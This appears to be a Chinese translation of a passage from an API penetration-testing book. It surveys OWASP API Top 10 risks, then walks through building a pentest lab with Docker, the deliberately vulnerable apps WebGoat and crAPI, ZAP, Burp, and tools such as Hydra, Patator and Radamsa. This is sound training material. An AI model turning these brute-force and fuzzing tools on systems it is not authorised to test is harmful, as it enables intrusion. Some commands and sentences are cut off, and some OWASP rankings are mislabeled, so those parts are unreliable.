API 通常是应用程序唯一的入口点,或者至少是最常用的入口。这就是为什么加强它们的安全性对任何业务领域都至关重要的原因。API 的每个部分都应该获得相应的保护。例如,你是如何处理身份认证(AuthN)和授权(AuthZ)的?你是使用令牌还是仅使用用户名/密码凭证对?这些令牌或凭证是如何存储的,并且它们如何在 API 端点和客户端之间流动?你是否管理它们的生命周期?你是否记录每次令牌或凭证的使用情况,以及拥有这些令牌或凭证的用户试图访问系统的哪些部分?你是否定期旋转令牌或凭证?你能看到仅仅一个关注点就提出了多少问题吗?处理不当的身份认证(AuthN)和授权(AuthZ)可能导致潜在的入侵和重大损失。
常见的 API 漏洞
身份认证(AuthN)和授权(AuthZ)只是设计和开发 API 时需要特别注意的众多话题之一。尽管它们是两个独立的概念,但通常会一起讨论,因为没有一个就没有另一个的意义。它们不仅在处理外部用户时相关。当你的应用程序需要与内部系统或合作伙伴应用程序进行交互时,同样或其他的控制措施也必须到位。应用程序之间会相互通信,冒充应用程序或外部用户是我想要讨论的第一个漏洞。
OWASP,这个我们之前提到的组织,也拥有2023 年 API 安全前十项目。它的 API 安全前十倡议将 API1:2023——破损的对象级权限控制(Broken Object Level AuthZ)和 API1:2023——破损的身份验证(Broken AuthN)定位为两个最危险的威胁。第一个话题是关于在 API 执行过程中未正确处理对对象的访问。这样可能会导致敏感数据无意中暴露给未授权的人。因此,必须在对象级别上实施访问验证和保护措施。第二个话题与上一段讨论的内容相关。错误地处理身份验证数据,或实施了弱身份验证机制或已知的安全漏洞,会成为 API 管理中的一个重大难题。
接下来,我们将讨论破损的对象级权限控制(Broken Object Property Level AuthZ),这是排名第三的严重威胁。容易受此漏洞影响的 API 要么没有实现必要的安全控制,要么仅部分实现了这些控制,导致对象级别的访问保护不足,尤其是未授权人员可能会接触到不该公开的数据。它类似于破损的对象级权限控制,但该漏洞涉及的是 API 显示了超出必要的数据来执行其功能。接下来的威胁是不受限制的资源消耗。你还记得我们之前讨论 XML 和 XMLP 时提到过,XML 文档的创建方式可能会导致安全漏洞吗?这正是指的这种情况。API 如果没有正确解析输入,可能会遭受 DoS 攻击,因为会进行更多的处理或磁盘访问,导致成本增加。假设 API 运行在公有云服务商上,如果更多的处理被请求,可能导致启动新的实例(虚拟机)或将随机数据存储到高性能磁盘区域。这将导致月度账单呈指数级增长,或者触发一些由云服务商或公司管理的限流机制,使得 API 停机或进入休眠状态。无论如何,应用程序都会停止运行。
身份验证授权问题(AuthZ)再次出现在下一个威胁中。随着你的 API 变得越来越复杂并且触及其他系统,尤其是在与其他系统交互时,你可能会遇到 功能级别授权失效(Broken Function Level AuthZ),这意味着你需要密切关注在 API 内部创建的角色和角色所涉及的权限。当这些角色和权限没有被明确定义和强制执行时,不当处理 API 层级结构可能会导致漏洞,使得属于某个角色的用户能够有意或无意地(即使是合法用户,也可能会不小心遇到这种问题)获取更高角色的权限。API 并不构成整个应用程序。它是更大系统的一部分,有时,为了支撑系统的正常运转,会有多个业务流程同时运行。当你拥有对业务流程的无限制访问时,可能会出现一个漏洞:API 会暴露这些流程的内部结构。因此,攻击者利用这一漏洞可能会推断出 API 背后的业务逻辑。我们稍后将进一步讲解。
服务器端请求伪造(SSRF) 是一种非常常见的威胁,针对 Web 应用程序和 API,包括云环境中的威胁。一个易受攻击的 API 可能会接受任何 URI,包括执行内部命令,这些命令可能会暴露 API 背后的支持系统:操作系统、内核或库版本,及其他组件等。保护 API 本身非常重要,必须通过安全设计和实施来加以防护。巴西葡萄牙语中有句谚语,翻译过来大概是:“一只燕子不能代表一个夏天”。我想说的是,仅仅保护 API 本身是不够的。当一个系统存在安全配置错误时,换句话说,当帮助 API 运作的系统没有足够频繁地更新,或者没有被调整以实施安全最佳实践时,这种威胁就会变成 API 的现实。
管理 API 运行的整个环境非常重要,包括端点、底层系统、库等。API 和其他软件一样,都有版本,最终这些版本会被淘汰。运行弃用版本的端点应该被淘汰或使其不可用。当发生不当的库存管理时,遗忘的 API 端点或支持系统仍可能参与到 API 当前的实现中,暴露出额外的可利用漏洞。你开发的 API 是为合法用户或第三方所设计的。然而,保护 API 的投资通常更多地集中在外部用户,而非合作伙伴。当攻击者发现 API 集成时,他们可能会尝试利用第三方来入侵原本针对的端点。这被称为 不安全的 API 使用,通过采用我们稍后会讨论的 零信任 术语,能够避免或至少减少这种情况的发生。
总结
本章介绍了 API 背后的概念,并简要回顾了它们的历史,包括解释了数据定义是什么,并披露了实现 API 的主要协议。接着,我们讨论了 API 安全性对现代应用程序的重要性,并通过讲解最常见的 API 漏洞结束了本章内容。希望你已经享受了我们向 API 渗透测试之旅的开始。
在下一章中,我们将设置我们的渗透测试环境。将介绍一些工具,给出执行示例,并且我们有机会通过克隆书籍的代码库来节省时间,这将帮助我们利用一些工具。
延伸阅读
-
你可以在
www.redhat.com/en/topics/api/what-are-application-programming-interfaces找到 Red Hat 关于 API 的定义。 -
你可以在
aws.amazon.com/what-is/api/找到 AWS 关于 API 的定义。 -
查看关于 TCP/IP 与 OSI-RM 模型比较的科学文章:https://ieeexplore.ieee.org/document/46812
-
电子数字计算机的程序准备:
archive.org/details/programsforelect00wilk/mode/2up -
你将会找到一篇比较 API 的科学文章:
dl.acm.org/doi/10.1145/800297.811532 -
阅读电子商务简史:
web.archive.org/web/20160326123900/http://gsbrown.org/compuserve/electronic-mall-1984-04/ -
DS 的论文《网络基础软件架构的架构风格与设计》:
www.ics.uci.edu/~fielding/pubs/dissertation/top.htm -
这张信息图展示了 2013 年和 2014 年每分钟的互联网数据生成情况:
www.fourthsource.com/general/internet-minute-2013-vs-2014-infographic-18293 -
OWASP Top Ten 项目:
owasp.org/www-project-top-ten/ -
gRPC 官方文档:
grpc.io/docs/ -
查看官方的 JSON-RPC 文档:
www.jsonrpc.org/specification -
你可以在
owasp.org/www-project-api-security/了解更多关于 OWASP Top Ten API 项目的信息。
第二章:设置渗透测试环境
继续我们的书籍的第一部分,这是最实用的章节之一。显然,没有必要的工具包,进行高质量的渗透测试是不可能的。我们将在这里讨论一些可能性以及一些可以帮助你日常 API 渗透测试的工具。你将找到安装我在构建练习中应用的所有主要工具的说明,这些工具也是你在实际的 API 入侵测试中将使用的工具。还有一些关于操作系统和集成开发环境(IDE)的决策需要你做出。通过克隆本书的代码仓库,你可以节省相当多的时间。我分享了所有出现在后续章节中的代码和一些工具。
本章将涵盖以下主要话题:
-
选择工具和框架
-
建立测试实验室
-
配置测试环境
技术要求
虽然一些渗透测试人员有几台笔记本电脑,每台都安装一个最常见操作系统的版本(Linux、macOS 和 Windows),但其他人则倾向于将他们的测试环境托管在某个公共或私有云上。我以前也从事过取证分析。在那里,操作系统的家族确实很重要,特别是在进行深度分析时,因为文件系统的内部结构或其他一些固有特性,如库、命令工具或内核。如今,我属于使用本地虚拟机的团队。
因此,我在本书接下来的所有章节中都使用了虚拟机。为了获得良好的体验,建议你至少具备以下硬件配置:
-
一些 Intel Core i7 处理器或相应的 AMD 芯片,或者一些苹果自研芯片的电脑。
-
16 GB 内存。
-
1 TB 硬盘。
选择工具和框架
在接下来的章节中,我们将涵盖相当数量的 API 话题。所以,我们应该从选择合适的工具开始,这些工具将减少我们的工作量。既然我们将使用虚拟机,我们必须从选择一个虚拟机监控器开始。这个部分有多种选择和章节:
-
Windows
-
VMware Workstation:该产品最近(2024 年)已变为个人使用免费。它非常稳定,更新频繁,并且可以将所有 CPU 标志转发到客机操作系统。如果你使用 Windows 作为主机操作系统,我一定推荐这个。
-
Oracle Virtualbox:这是由 Oracle 控制的开源跨平台虚拟机监控器。它有扩展包,几乎可以在任何 Windows 版本上顺利运行。然而,在本章写作时(并且该问题在该产品历史上持续了一段时间),最大的限制是缺少虚拟化寄存器来支持客机操作系统。
-
Microsoft Hyper-V:这是 Windows 内嵌的虚拟机监控器。可以在桌面版和服务器版操作系统上使用。它有一个名为Windows Subsystem for Linux(WSL)的子集,目前已经是第二个版本,允许部署一些无头的 Linux 发行版。
-
-
macOS
-
VMware Fusion:这款产品最近(2024 年)变为个人免费使用。它的更新生命周期与 Windows 版本类似,如果你使用的是 Apple 主机操作系统,这也是一个应该考虑的选项。
-
Oracle Virtualbox:它也适用于 macOS,但自从 Apple Silicon 芯片(M1、M2、M3…)发布以来,它一直处于 beta 阶段。不幸的是,在编写本章时,使用这种芯片启动 Linux 来宾操作系统并不成功。
-
UTM:这是我在研究产品选项和功能时的一个意外发现。由于对 VMware Fusion 授权的疑虑以及 Virtualbox 在 ARM/Apple Silicon 上的限制和不稳定性,我选择了 UTM。它是一个轻量级的、低端功能的开源虚拟化程序,基于 QEMU,在为来宾操作系统模拟硬件方面做得很好。因此,如果你在 Apple Silicon 上运行 macOS,它是我的推荐选择。
-
-
Linux
-
VMware Workstation:这个软件包足够稳定,可以在任何主要发行版上运行。结合了易用性、强大的功能和免费的授权,它是我推荐的在 Linux 主机操作系统上运行的工具。
-
Oracle Virtualbox:当然,这里也可以下载。你可以轻松下载一些主要发行版的二进制文件,例如 Fedora、Debian、Ubuntu 和 openSUSE。如果使用其他发行版,可以尝试其源代码。
-
QEMU-KVM:如果你满意只通过命令行管理虚拟机,这是一个不错的选择。所有 Linux 发行版都有实现这些工具中的一个或两个。虽然有一些重要且有效的工具,但它最终可能会变得乏味,特别是当你需要频繁在来宾操作系统和主机操作系统之间切换时。建议将其作为最后的资源。
-
本书中演示的所有工具都可以在 Linux 上运行。它们中的一些也有其他系统的版本,还有一些可以作为 Docker 容器运行。为了保持章节间的一致性,我选择了 Linux。我使用了一台搭载 Apple Silicon 的 Apple 计算机来编写本书的大部分内容。只有少数实验无法在该平台上运行,原因是所使用工具的限制,且通过另一台运行 Windows 的 Intel 计算机来解决了这个问题。在这两种情况下,我选择了作为虚拟机运行的 Ubuntu Desktop 发行版。对于 Apple 机器,我选择了 UTM 作为虚拟化管理程序,而对于 Windows 计算机,我选择了 VMware Workstation。
下一步,虽然是可选的,但可以帮助你完成编码部分。它是关于选择一个集成开发环境(IDE)。在这方面,你可以考虑以下几个选项:
-
vi,以及它可能的一个更强大的功能——快捷键。与 Emacs 相反,它可能在一些发行版上预安装。然而,vim有一种模态的工作方式(编辑与可视化),对新手来说可能有些繁琐。除此之外,几乎没有任何图形化的表示。默认情况下,你只能看到你正在编辑的文本,其他什么也看不见。 -
图形化:
- 在这个类别中有很多图形化的 IDE,比如 Atom、PyCharm 和 Sublime。在本书中,我们将主要使用 Python 或 Golang 进行示例和练习。因此,不需要消耗太多资源或具备复杂功能的工具。我只会向你推荐一个,它就是 Visual Studio Code(简称 VScode)。它甚至有一个开源版本,叫做 VSCodium。当我需要编写代码时,这个产品显示出了非常实用的功能:语法高亮、代码补全、内联帮助、调试器、内联终端,等等。
最后我选择了 VScode(非开源版本),因为之前提到的功能,还有一些扩展(即它所称的插件)在 VSCodium 上运行不太顺畅。
一旦你了解了实验室的选项,就该开始构建它了。让我们开始吧!
构建测试实验室
现在你已经选择了你的工具和框架,让我们开始构建一个能够支持我们实验室的环境。我不会展示虚拟化软件或 Ubuntu 的安装步骤,因为它们非常简单。不过,如果在安装过程中遇到问题,你可以随时查阅官方文档,例如 https://help.ubuntu.com/20.04/installation-guide/index.html、https://docs.fedoraproject.org/en-US/fedora/latest/getting-started/ 和 https://download.virtualbox.org/virtualbox/7.0.18/UserManual.pdf。本节所提到的工具的顺序大致按照它们在接下来的章节中出现的顺序排列。它们中的一些只包含了几张截图,并没有在整本书中使用,所以它们的安装过程在这里不做覆盖。
安装 Docker
让我们先从安装 Docker 开始吧。
-
在虚拟机完全加载后,打开命令提示符并检查是否安装了
curl。一些较新的 Bash 版本在缺少该命令时会提示安装软件。无论如何,如果没有安装curl,你可以轻松地通过以下命令安装:$ sudo apt update && sudo apt install curl -
接下来我们需要的工具是 Docker。官方文档提供了一个详尽的分步指南,链接在这里(https://docs.docker.com/engine/install/ubuntu/)。
-
在安装之前,你需要执行一些准备步骤,比如添加官方仓库并安装签名密钥:
# Add Docker's official GPG key: sudo apt-get update sudo apt-get install ca-certificates curl sudo install -m 0755 -d /etc/apt/keyrings sudo curl -fsSL https://download.docker.com/linux/ubuntu/gpg -o /etc/apt/keyrings/docker.asc sudo chmod a+r /etc/apt/keyrings/docker.asc # Add the repository to Apt sources: echo \ "deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.asc] https://download.docker.com/linux/ubuntu \ $(. /etc/os-release && echo "$VERSION_CODENAME") stable" | \ sudo tee /etc/apt/sources.list.d/docker.list > /dev/null sudo apt-get update -
然后你可以通过以下命令安装 Docker:
sudo apt-get install docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin -
不要忘记赋予你的用户名所有必要的权限以便运行它。
$ sudo groupadd docker $ sudo usermod -aG docker $USER docker run hello-world. -
我们将首先安装的容器是 WebGoat,它包含了 WebWolf。只需运行以下命令,你就能获得运行这两个软件所需的一切:
CTRL + D to exit it and check the current images:$ docker images
仓库 标签 镜像 ID 创建时间 大小
webgoat/webgoat 最新版本 cea483e51e8f 6 个月前 404MB
现在 Docker 已经安装完毕,让我们为实验室添加更多的软件。
安装 OWASP 软件
以下子章节介绍 OWASP 项目的安装。OWASP 是一个将不同背景的公认专业人士联合在一起的组织。他们讨论并制定全球采纳的标准,并创建帮助安全专业人员和爱好者练习和实践其角色的软件和工具,尤其是在进攻性安全方面。
安装 crAPI
我们将从安装 crAPI 开始,这是 OWASP 的另一个项目,充满了漏洞。
-
首先克隆位于 https://github.com/OWASP/crAPI 的仓库。
-
我们将使用
docker-compose来启动它。 -
使用
sudo apt install docker-compose安装它,然后输入以下命令:$ git clone https://github.com/OWASP/crAPI $ cd crAPI/deploy/docker $ docker compose -f docker-compose.yml --compatibility up -d这将下载一些镜像并启动所有容器。
-
检查你现在拥有的内容:
$ docker images REPOSITORY TAG IMAGE ID CREATED SIZE crapi/mailhog latest b090a6f374ad 13 days ago 21.3MB crapi/crapi-community latest 9c9fc54c2eec 13 days ago 32.1MB crapi/crapi-workshop latest 452648f7cdb1 13 days ago 186MB crapi/crapi-identity latest abb5e226020f 2 weeks ago 491MB crapi/gateway-service latest ed9fd107e30a 2 weeks ago 78MB crapi/crapi-web latest 464f1efe9fd4 2 weeks ago 133MB postgres 14 08fca857484c 4 weeks ago 444MB mongo 4.4 80d502872ebd 3 months ago 408MB webgoat/webgoat latest cea483e51e8f 6 months ago 404MB -
还有容器:
$ docker ps -a CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 96c3570a0ccf crapi/crapi-web:latest "/bin/sh -c /etc/ngi…" 26 minutes ago Up 26 minutes (healthy) 127.0.0.1:8888->80/tcp, 127.0.0.1:8443->443/tcp crapi-web b2fbe3d479bb crapi/crapi-workshop:latest "/bin/sh -c /app/run…" 26 minutes ago Up 26 minutes (healthy) crapi-workshop f687427de9f6 crapi/crapi-community:latest "/bin/sh -c /app/main" 27 minutes ago Up 27 minutes (healthy) 6060/tcp crapi-community 8c4d891f420a crapi/crapi-identity:latest "/entrypoint.sh" 27 minutes ago Up 27 minutes (healthy) 10001/tcp crapi-identity 3753ffa0052f mongo:4.4 "docker-entrypoint.s…" 27 minutes ago Up 27 minutes (healthy) 27017/tcp mongodb 1a531c4fae21 crapi/mailhog:latest "MailHog" 27 minutes ago Up 27 minutes (healthy) 1025/tcp, 127.0.0.1:8025->8025/tcp mailhog 8cecff3f9661 crapi/gateway-service:latest "/app/server" 27 minutes ago Up 27 minutes (unhealthy) 443/tcp api.mypremiumdealership.com 0448ced9db02 postgres:14 "docker-entrypoint.s…" 27 minutes ago Up 27 minutes (healthy) 5432/tcp postgresdb ee8043011c70 webgoat/webgoat "java -Duser.home=/h…" 32 minutes ago Up 33 minutes (healthy) 127.0.0.1:8080->8080/tcp, 127.0.0.1:9090->9090/tcp stoic_gate
crAPI 已启动。是时候安装 Zed Attack Proxy 了。
安装 OWASP ZAP
让我们继续安装 OWASP ZAP。这是一个图形化的过程。
-
首先从这里下载 Linux 安装程序(https://www.zaproxy.org/download/)。
-
你需要安装 Java 才能运行 ZAP。当你在命令提示符中输入
java时,Bash 会建议你几个选项。你必须安装至少版本为 11 的 Java 虚拟机:$ sudo apt install openjdk-11-jre-headless -
然后以 root 权限运行安装程序:
$ sudo ./ZAP_2_14_0_unix.sh结果,会显示欢迎界面(图 2**.1)。

图 2.1 – ZAP 安装程序欢迎界面
- 点击下一步按钮,你将看到两个选项(图 2**.2)。由于我们是高级用户,让我们选择自定义安装。

图 2.2 – 选择自定义安装
- 这意味着会接下来问你一些问题。第一个问题是安装目录。你可以选择默认值,除非你有一个分区拥有更多的磁盘空间。你还会看到需要多少磁盘空间以及剩余多少空间(图 2**.3)。

图 2.3 – 选择安装目录
- 然后,你需要告知安装程序将在哪个位置创建符号链接。这样可以确保软件及其内部组件在你从命令行或窗口管理器中调用时正常工作。选择默认选项,因为它指向一个系统 PATH 中的目录(图 2**.4)。

图 2.4 – 选择安装程序将在哪里创建二进制文件的符号链接
- 接下来,你需要决定是否需要桌面图标。虽然这是外观设置,但在某些情况下也很有用。它无妨,所以我选择了它(图 2**.5)。

图 2.5 – 为应用程序创建桌面图标
- 下一步是关于更新的内容。不要忘记勾选启动时检查更新的复选框,但不要选择安装新的 ZAP 版本的复选框。像这种复杂的软件,在考虑安装新版本之前,您应先阅读其发布说明。其他软件可能与之冲突。因此,首先进行检查是安全的(图 2.6)。

图 2.6 – 一些更新选项
- 完成此操作后,安装就完成了。尝试从图形界面启动应用程序。可能会发现没有图标显示出来(图 2.7)。

图 2.7 – ZAP 的图标未显示应用程序的实际图标
这不是问题。它可能与 JVM 配置或您的 Linux 发行版有关。
- 每次加载时,ZAP 会询问您是否要保持会话。如果您愿意保存您的活动,请选择相关选项。对于您在这里进行的大部分操作,实际上没有必要这样做(图 2.8)。

图 2.8 – 是否保持会话
- 点击开始后,工具最终加载完毕。您可能已看到图 2.9中的窗口。ZAP 拥有合理数量的插件,并且它们遵循独立的更新周期。可能会弹出一些推荐,确认后继续过程。请不要忽视它们(图 2.9)。

图 2.9 – ZAP 插件的可选但推荐的更新
下图显示了 ZAP 的一些插件的截图,并且可以一键按顺序更新它们(图 2.10)。

图 2.10 – ZAP 的插件更新界面
OWASP 软件已经安装。接下来我们加入另一个工具项。
安装 Burp Suite
我们将大量使用的另一个工具是 Burp Suite。该工具有几个版本可供选择,但我们将使用社区版。
-
下载安装程序:https://portswigger.net/burp/releases/community/latest。然后直接执行它:
$ ./burpsuite_community_linux_arm64_v2023_12_1_3.sh Unpacking JRE ... Starting Installer ...和往常一样,第一屏是欢迎界面(图 2.11)。

图 2.11 – Burp 安装欢迎界面
- 选择下一步,然后系统会提示您选择安装目录(图 2.12)。

图 2.12 – Burp 的安装目录
- 和 ZAP 一样(图 2.4),安装程序会询问应该在哪创建符号链接。请按照前图所示,选择默认值,除非您有其他空间更大的区域(图 2.13)。

图 2.13 – 应该创建 Burp 二进制文件链接的位置
- 等待安装程序解压并将文件放置到正确的位置。根据当前版本和你的虚拟机硬件配置,这可能需要一些时间(图 2**.14)。

图 2.14 – 文件正在安装
- 只需完成设置,你就可以开始了(图 2**.15)。

图 2.15 – 安装结束
- 至少,Burp 配备了正确的图标。当你在 Linux 的窗口管理器中输入它的名称时,你会看到它。加载它来验证安装是否一切正常(图 2**.16)。

图 2.16 – 通过 GUI 调用 Burp
- 每次打开应用程序时,你将被提示是否要在内存中启动一个临时项目,或者是否希望加载之前保存的项目。在本书的所有练习中,我们将只创建临时项目,所以只需选择第一个选项并点击下一步(图 2**.17)。

图 2.17 – 选择 Burp 启动方式
- 最后,你将被提示选择加载 Burp 时使用的参数。你可以通过应用程序的 GUI 或直接编辑配置文件来配置其中的几个参数。如果你之前做过这一步,你可以浏览配置文件并通过相应的对话框加载它。否则,只需点击默认选项并点击下一步(图 2**.18)。

图 2.18 – 加载 Burp 参数
就这样,Burp 安装完成。让我们继续。
安装 Postman 和 Wireshark
接下来的安装步骤极其简单:Postman 和 Wireshark。
安装 Postman
根据官方文档,Postman 当前(2024)支持 Ubuntu、Fedora 和 Debian。其他发行版可能也可以使用,但你需要查看你所在发行版的文档以及该工具本身的文档进行确认。使用厂商推荐的 snap,你可以通过以下方式在系统中安装它:
$ sudo apt update
$ sudo apt install snapd
$ sudo snap install postman
完成。通过 GUI 或 CLI 调用它(图 2**.19)。

图 2.19 – 调用 Postman
安装 Wireshark
对于 Wireshark,如果你在命令提示符下输入 wireshark,Bash 会建议通过 APT 安装它。所以只需照做:
$ sudo apt install wireshark-qt
你需要做出一个决定。默认情况下,非 root 用户不能从网络设备捕获数据包。如果你选择否(默认),你必须以 root 身份运行 Wireshark 才能使用它,特别是当你捕获来自回环接口的数据包时(图 2**.20)。

图 2.20 – 选择非 root 用户是否能够捕获数据包
我选择了/etc/group文件,并将我的用户名添加到包含wireshark组的那一行,然后注销并重新登录:
wireshark:x:137:mauricio
之后,我终于能够加载软件并捕获数据包了。Wireshark 现在准备就绪,开始工作了(图 2.21)。

图 2.21 – 调用 Wireshark
如前所述,本书中创建的许多代码是用 Python 或 Golang 编写的。Python 在这种环境中有一个非常有用的模块,叫做 pip。有时,它并不会随着主语言一起预装:
$ python3 -m venv testdir
The virtual environment was not created successfully because ensurepip is not available. On Debian/Ubuntu systems, you need to install the python3-venv package using the following command.
apt install python3.10-venv
You may need to use sudo with that command. After installing the python3-venv package, recreate your virtual environment.
Failing command: /home/mauricio/Downloads/testdir/bin/python3
从这里,你有两个选择。你可以运行前面提到的命令,只安装所需的模块,或者安装pip和模块。第二个选项更为灵活,因为在后续的章节中你会需要pip:
$ sudo apt install python3-pip
$ sudo apt install python3-venv
$ python3 -m venv testdir
$ ls -alph testdir
total 24K
drwxrwxr-x 5 mauricio mauricio 4.0K Jun 8 15:53 ./
drwxr-xr-x 4 mauricio mauricio 4.0K Jun 8 15:53 ../
drwxrwxr-x 2 mauricio mauricio 4.0K Jun 8 16:20 bin/
drwxrwxr-x 2 mauricio mauricio 4.0K Jun 8 15:53 include/
drwxrwxr-x 3 mauricio mauricio 4.0K Jun 8 15:53 lib/
lrwxrwxrwx 1 mauricio mauricio 3 Jun 8 15:53 lib64 -> lib/
-rw-rw-r-- 1 mauricio mauricio 71 Jun 8 16:25 pyvenv.cfg
根据 Python 版本和 Ubuntu 发布版本,上面块中的第一个命令可能默认安装许多模块。你可以通过pip3 list检查已安装的模块。
尽管我已经提到我选择了 VScode 作为 IDE,但我还没有展示如何安装它。可以选择几种不同的方法,具体描述请参见 https://code.visualstudio.com/docs/setup/linux。我个人下载了二进制文件并通过 APT 安装了它(sudo apt install ./code),就这样(图 2.22):

图 2.22 – 调用 VS Code
这就是开发环境的部分。接下来,让我们看看其他工具。
安装其他工具
我们需要各种类型的工具来完成后续章节中的不同活动。其中一些工具会帮助你进行模糊测试(你将在第四章和第六章中详细学习),其他一些则帮助进行负载/压力测试,或伪造日志生成、日志分析,最后还有源代码验证,除了 Golang 包本身。在这一节中,我们将看一下其中的一些工具。为了方便你使用,就像本章中展示的所有可下载工具一样,我已经将其 Intel 和 ARM Linux 版本上传到本书的 GitHub 仓库。该仓库地址是 github.com/PacktPublishing/Pentesting-APIs。书中使用的所有主要代码摘录都可以在那里找到。此外,这些工具的大小都比较大,因此,请查看该仓库中的README.md文件,里面包含了进一步的安装和使用说明。
Anaconda
另一个与 Python 配合使用的优秀工具是Anaconda。你可以创建额外的环境来进行工作,并在其中安装额外的软件包,就像使用虚拟环境一样。然而,它的一个最大优势是,你可以通过一个命令更新所有组件和依赖项。我没有在我的系统上安装它,但你可以按照 https://docs.anaconda.com/free/anaconda/install/linux/上的步骤进行安装。
Hydra
在某些章节中,将会有一个非常有用的工具是 Hydra,它通常用于执行某种暴力破解攻击。为了让我们高兴的是,它的二进制版本在一些 Ubuntu 默认的仓库中可以找到,因此我们可以轻松地通过以下方式进行安装:
$ sudo apt install hydra
$ hydra
Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-c TIME] [-ISOuvVd46] [-m MODULE_OPT] [service://server[:PORT][/OPT]]
Output omitted for brevity
Patator
Patator 也在我们的工具箱中。当你需要对某些目标进行模糊测试攻击时,这个工具非常强大。然而,它的占用空间可能相当大:
$ sudo apt install patator
$ patator
Patator 0.9 (https://github.com/lanjelot/patator) with python-3.10.12
Usage: patator module –help
Output omitted for brevity
Radamsa
接下来,我们将安装一个灵活且强大的工具,名为 Radamsa。在进行模糊测试时,它将非常有用。安装文档很简洁(https://gitlab.com/akihe/radamsa):
$ sudo apt-get install gcc make git wget
$ git clone https://gitlab.com/akihe/radamsa.git && cd radamsa && make && sudo make install
$ radamsa --version
Radamsa 0.8a
是的,你将从源代码进行安装,因为这个过程需要下载一些根据你运行的平台而变化的文件。
Apache Bench
接下来,工具是 Apache Bench (ab),这是一个非常有用的负载测试工具:
$ sudo apt install apache2-utils
$ ab -V
This is ApacheBench, Version 2.3 <$Revision: 1879490 $>
Copyright 1996 Adam Twiss, Zeus Technology Ltd, http://www.zeustech.net/
Licensed to The Apache Software Foundation, http://www.apache.org/
hping3
还没有完成,肯定的。接下来我们来安装 hping3,它是一个使用除 ICMP 以外的其他协议发送 ECHO 数据包的工具。再次选择 APT 作为你的工具:
$ sudo apt install hping3
$ /usr/sbin/hping3 –version
hping3 version 3.0.0-alpha-2 ($Id: release.h,v 1.4 2004/04/09 23:38:56 antirez Exp $)
This binary is TCL scripting capable
flog
下一个工具是一个伪日志生成器。当你需要对大量日志进行某些配置测试或开发中的某个工具时,它非常有用。这个工具由 flog 代表,也可以通过 APT 安装:
$ sudo apt install flog
$ flog
Usage: pipeline| flog [options] {logfile|-} # SIGHUP will reopen logfile (v1.8)
-t prepend each line with "YYYYMMDD;HH:MM:SS: "
-T <format> prepend each line with specified strftime(3) format
-l <number> log file length limit (force truncation)
-F <fifo> fifo name
-p <pidfile> pid file
-z zap (truncate) log if disk gets full (default: grow buffer
在 第八章 中,你将使用一个名为 filebeat 的工具,它会持续将文件的变化推送到外部 Elastic 服务(如它们的云服务)。当你必须对某些资源进行持续监控时,这个工具非常重要。针对主要发行版,有专门的包。在我们的情况下(Ubuntu),你可以按照下面的步骤进行。第一行与官方文档中的稍有不同,因为现在 apt-key 用于添加仓库密钥的方法已经被弃用。
$ wget -qO - https://artifacts.elastic.co/GPG-KEY-elasticsearch | sudo tee /etc/apt/trusted.gpg.d/elastic.asc
$ sudo apt-get install apt-transport-https
$ echo "deb https://artifacts.elastic.co/packages/8.x/apt stable main" | sudo tee -a /etc/apt/sources.list.d/elastic-8.x.list
$ sudo apt-get update && sudo apt-get install filebeat
$ filebeat version
filebeat version 8.14.0 (arm64), libbeat 8.14.0 [de52d1434ea3dff96953a59a18d44e456a98bd2f built 2024-05-31 15:22:46 +0000 UTC]
wget 和 echo 命令是单行的。这个包支持 Intel 和 ARM 处理器。为了方便起见,书中的 GitHub 仓库提供了这两个平台的 .deb 包副本。
ripgrep
另一个快速且有趣的工具,你将用它来搜索日志文件中的内容,叫做 ripgrep。它同样通过 APT 安装,但它的二进制文件名是 rg:
$ sudo apt install ripgrep
$ rg –-version
ripgrep 13.0.0
-SIMD -AVX (compiled)
Safety
本书中你将使用的一些工具和实用程序是作为 Python 模块发布的。这就是 Safety 的情况,它是一个扫描器,用于查找源代码文件中的漏洞:
$ pip install safety
Collecting safety
Downloading safety-3.2.2-py3-none-any.whl (146 kB)
━━━━━━━━━━━ 146.3/146.3 KB 1.1 MB/s eta 0:00:00
...Output omitted for brevity...
$ safety –-version
safety, version 3.2.2
Golang
snap。这是我为其简洁性选择的:
$ sudo snap install go –classic
$ go version
go version go1.22.4 linux/arm64
现在,让我们看看如何创建独立的环境,以避免影响我们的主要安装,并开始使用代码进行实验。
配置测试环境
我给出的第一个建议是始终使用 Python 的 虚拟环境。Anaconda 很好且功能强大,但在这里并不是必需的。如果你打算将本书中看到的代码与我们已经创建的其他工具或环境结合使用,那么 Anaconda 可以成为一个有效的选择。
至于你应该有多少个虚拟环境,这取决于你。例如,你可以为每一章创建一个虚拟环境,以便更好地组织整个内容,但这意味着会占用更多磁盘空间,因为相同的 Python 模块会被多次安装。或者,你可以创建一个单一的环境,假设叫做 pentest,并在其中创建每一章的代码子目录,遵循本书仓库中提议的结构。
我选择了上面第二个选项,因为虚拟机的磁盘空间并不大,多个重复的模块并没有太大意义。你肯定至少需要以下模块来进行练习:Flask、Flask-GraphQL、Graphene、Flask-JWT-Extended、Pandas、Scapy。如前所述,safety 工具是你可能想尝试的另一个 Python 模块。
$ python3 -m venv pentesting
$ source pentesting/bin/activate
(pentesting) $ pip install Flask Flask-GraphQL graphene Flask-JWT-Extended
Collecting Flask
Downloading flask-3.0.3-py3-none-any.whl (101 kB)
━━━━━━━━━━━━━━━━━━━━━━━ 101.7/101.7 KB 796.2 kB/s eta 0:00:00
...Output omitted for brevity...
(pentesting) $ pip install pandas
Collecting pandas
Downloading pandas-2.2.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl (15.6 MB)
━━━━━━━━━━━━━━━━━━━━━━━━━ 15.6/15.6 MB 35.2 MB/s eta 0:00:00
...Output omitted for brevity...
$ pip install scapy
Collecting scapy
Downloading scapy-2.5.0.tar.gz (1.3 MB)
━━━━━━━━━━━━━━━━━━━━━━━━━━━ 1.3/1.3 MB 5.0 MB/s eta 0:00:00
...Output omitted for brevity...
